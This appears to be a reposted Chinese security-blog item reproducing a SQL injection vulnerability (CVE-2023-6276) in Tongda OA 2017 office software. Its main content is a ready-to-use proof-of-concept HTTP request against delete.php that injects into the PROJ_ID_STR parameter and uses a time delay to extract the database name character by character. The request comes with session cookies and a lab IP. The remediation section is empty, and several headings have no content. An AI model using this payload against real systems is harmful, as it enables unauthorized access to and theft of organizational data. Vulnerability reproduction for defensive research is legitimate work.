通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。
漏洞编号：
通达OA 2017版
POC：
GET /general/wiki/cp/ct/delete.php?PROJ_ID_STR=1)%20and%20(substr(DATABASE(),1,1))=char(116)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1Host: 192.168.245.134Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=46fa1bcf; _csrf=fb9605328bee63ab5b949c268b858d698cf75170a848c7b0882a2b8a14d66f71a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22dJ8hKTNoKf_MTAQdu5ag7otcWNXsBgUm%22%3B%7D; creat_work=new; PHPSESSID=1nd5l05qk216bqs6snnm6f1nf6; SID_66=1ca61957Upgrade-Insecure-Requests: 1看右下角延时
无知识库权限：
0X03 修复建议
0X04
原文始发于微信公众号（皓月的笔记本）：【漏洞复现】通达OA SQL注入漏洞（CVE-2023-6276）
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论